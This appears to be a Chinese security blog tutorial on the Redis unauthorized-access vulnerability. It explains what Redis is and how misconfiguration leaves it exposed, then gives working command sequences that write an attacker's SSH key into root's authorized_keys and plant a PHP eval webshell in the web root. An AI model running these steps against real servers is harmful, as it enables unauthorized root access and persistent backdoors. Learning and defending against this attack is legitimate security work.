首页 > 数据库 >Redis未授权访问漏洞

Redis未授权访问漏洞

时间:2024-01-15 23:34:23浏览次数:25  
标签:Redis redis 漏洞 ssh 授权 数据 写入 内存

前置知识

Redis是一个由c语言编写的基于内存且可以持久化的日志型,key-value型数据库。
之所以说他是基于内存而且可以持久化,因为它大部分数据都存储在内存中,这样提高了读写效率。而且还可以定时将内存数据同步到磁盘中。

他虽然不是web服务,但是很多web应用依赖他,所以它也属于web安全。常见的redis应用如下

  1. 缓存数据:Redis作为常驻内存的缓存,可以快速存取数据,从而减少对数据库的访问,提高应用性能。例如,可以在主页中显示最新的项目列表,将常用的数据存储在Redis中。
  2. 删除和过滤:如果一篇文章被删除,可以使用Redis的命令彻底清除掉。
  3. 排行榜及相关问题:Redis可以按照得分进行排序,实现排行榜功能。这就像Reddit的排行榜,得分会随着时间变化。可以使用LPUSH和LTRIM命令结合运用,把文章添加到一个列表中。一项后台任务用来获取列表,并重新计算列表的排序,ZADD命令用来按照新的顺序填充生成列表。
  4. 计数:Redis可以用来进行各种数据统计,比如想知道什么时候封锁一个IP地址。
  5. 过期项目处理:可以使用Unix时间作为关键字,用来保持列表能够按时间排序。
  6. 实时分析正在发生的情况:用于数据统计与防止垃圾邮件等。
  7. 特定时间内的特定项目:这是特定访问者的问题,可以通过给每次页面浏览使用SADD命令来解决。

那么redis还是一个key-value型数据库,它的数据都是以类似json形式存储的。相比关系型数据库有一些明显的优点和缺点
Redis的优点:

  1. 数据结构丰富:Redis支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等,这使得Redis可以灵活地应对各种数据处理需求。
  2. 读写性能优异:Redis基于内存进行数据存储,因此读写速度非常快,特别适合需要高性能读写的场景。
  3. 支持持久化:Redis支持将数据持久化到磁盘,可以在重启后恢复数据,保证数据的可靠性。
  4. 支持主从复制:Redis支持主从复制功能,主机会自动将数据同步到从机,可以进行读写分离,提高系统的可扩展性和可靠性。
  5. 丰富的数据操作:Redis提供了丰富的数据操作,例如发布/订阅、事务处理等,方便开发者进行各种数据处理。

然而,Redis也存在一些缺点:

  1. 内存消耗较大:由于Redis将数据存储在内存中,对于大规模数据的存储需求,需要考虑服务器的内存容量。
  2. 单线程模型:Redis采用单线程模型,对于CPU密集型的操作可能存在性能瓶颈,不适合处理大量并发请求。虽然Redis 6.0后引入了多线程模型,但仍然存在一些限制和问题。
  3. 数据一致性:由于Redis的主从复制存在一定的延迟,可能会导致数据在主节点和从节点之间的不一致。
  4. 无法处理复杂查询:Redis不支持像关系型数据库那样的复杂查询操作,对于需要进行复杂数据分析和统计的场景不太适用。
  5. 数据容量受限:由于Redis将数据存储在内存中,所以数据的容量受到内存大小的限制,无法存储超过内存容量的数据。
  6. 不具备自动容错和恢复功能:主机从机的宕机都会导致前端部分读写请求失败,需要等待机器重启或者手动切换前端的IP才能恢复。主机宕机时,部分数据未能及时同步到从机,切换IP后还会引入数据不一致的问题,降低了系统的可用性。
  7. 难以支持在线扩容:在集群容量达到上限时在线扩容会变得很复杂。若快照文件较大,对集群的服务能力会产生较大的影响,而且复制过程是在从机新加入集群或者从机和主机网络断开重连时都会进行,对实际的系统运营造成了不小的麻烦。
  8. 线程模型复杂:在多线程模式下存在死锁、线程上下文切换等问题,甚至会影响性能。单线程编程容易并且更容易维护。

redis和关系型数据库mysql一样都是c/s架构软件。都需要服务器开启服务,客户端访问对应端口
且都支持账号密码登录。默认redis是6379端口,mysql3306端口

redis未授权漏洞原因

1.redis默认密码为空,或者使用的密码属于弱口令
2.服务器将redis服务直接绑定在0.0.0.0:6379这个0.0.0.0代表可以是远程或者本地访问,如果是127.0.0.1就必须是本地才能访问,并且没有添加防火墙设置来避免非信任ip的访问

典型的redis错误配置如下
image
image
尤其是对于高版本redis,为了防止被写入ssh公钥文件和webshell。会开启enable-protected-configs no
这样对于config的dir filename都不能修改了

写入SSH公钥文件

当Redis服务存在未授权访问漏洞时,攻击者可以利用该漏洞通过Redis提供的config命令进行写文件操作。攻击者可以将自己的SSH公钥写入目标服务器的特定文件,如/root/.ssh文件夹的authorized_keys文件。一旦攻击者成功将自己的公钥写入该文件,他们可以使用对应的私钥直接使用SSH服务登录目标服务器。
前提:
1.对方服务器开启了ssh服务,支持ssh远程登录
2.对方redis服务以root权限启动,这样才有权限写权限

ssh-keygen -t rsa #生成一对rsa密钥文件,pem证书形式

image
成功生成密钥文件
image

(echo "\n\n";cat id_rsa.pub)>test.txt #将公钥导入一个文件中

image

cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello #将公钥内容导入redis内存数据库中

image

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存到上面文件中

image
成功写入文件
之后就可以ssh远程登录了

ssh -i id_rsa [email protected]

写入WebShell

其实也和上面的写入ssh公钥一样,本质都是文件上传漏洞。这次是在web server中上传脚本木马。能够留下后门
比如上传一个php一句话木马
前提:
1.对方开启了web server并且已知web根目录。以及所使用的服务端脚本语言
2.redis有读写权限

set x "\n\n\n<?php @eval($\_POST['a']);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/html   #这里必须设置成web根目录下的目录,否则访问不到
config set dbfilename evil.php
save

image
可以看到evil.php中确实写入了一句话木马
之后使用浏览器访问写入的evil.php就行了 post: a=phpinfo();
image

主从复制实现RCE

标签:Redis,redis,漏洞,ssh,授权,数据,写入,内存
From: https://www.cnblogs.com/Erebussss/p/17966644

相关文章

  • Redis分布式锁
    初始第一版代码背景:Redis中stock字段的value设为300超卖问题:多个请求(3个)同时调用这个接口,他们查出的stock都是300,都进行减1操作,实际上需要减3得到297,但都是执行300-1记录stock为299。解决:使用jdk自带的锁,可以使多个请求排队,实现同一时间单个请求执行锁区间的代码。架构背......
  • Redis - Sorted Set Use Cases
         ......
  • Redis - Set Use Cases
          ......
  • 配置redisTemplate序列化,解决乱码与反序列化失败
    /***@projectName:MultiModuleDemo*@package:com.example.config*@className:RedisConfig*@description:TODO(配置RedisTemplate序列化)*@date:2023/12/1821:08*@version:1.0*/@ConfigurationpublicclassRedisConfig{@BeanpublicRedi......
  • Redis - Design 2
                            ......
  • 如果redis没有设置expire,他是否默认永不过期
    如果redis没有设置expire,他是否默认永不过期?默认是的通过EXPIREkeyseconds命令来设置数据的过期时间。返回1表明设置成功,返回0表明key不存在或者不能成功设置过期时间。在key上设置了过期时间后key将在指定的秒数后被自动删除。被指定了过期时间的key在Redis中被称为是不稳定......
  • 认证授权JWT
    JWT1、从JWT的全称可以看出,JWT本身也是Token,一种规范化之后的JSON结构的Token。JWT自身包含了身份验证所需要的所有信息,因此,我们的服务器不需要存储Session信息。这显然增加了系统的可用性和伸缩性,大大减轻了服务端的压力(因为session还需要保存,但是jwt只要签名验证......
  • Acunetix v24.1 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试)
    Acunetixv24.1(Linux,Windows)-漏洞扫描(Web应用程序安全测试)Acunetix|WebApplicationSecurityScanner请访问原文链接:https://sysin.org/blog/acunetix/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org重要提示AcunetixPremium现在使用日历化版本命......
  • Redis 做缓存常见的几个问题总结
     1.数据一致性我们知道,Redis主要是用来做缓存使用,只要使用到缓存,无论是本地内存做缓存还是使用Redis做缓存,那么就会存在数据同步的问题。一般情况下,我们都是先读缓存数据,缓存数据有,则立即返回结果;如果没有数据,则从数据库读数据,并且把读到的数据同步到缓存里,提供下次读请......
  • Redis、Memcache和MongoDB的区别
    Redis、Memcache和MongoDB的区别 >>MemcachedMemcached的优点:Memcached可以利用多核优势,单实例吞吐量极高,可以达到几十万QPS(取决于key、value的字节大小以及服务器硬件性能,日常环境中QPS高峰大约在4-6w左右)。适用于最大程度扛量。支持直接配置为sessionhandle。Memcached的......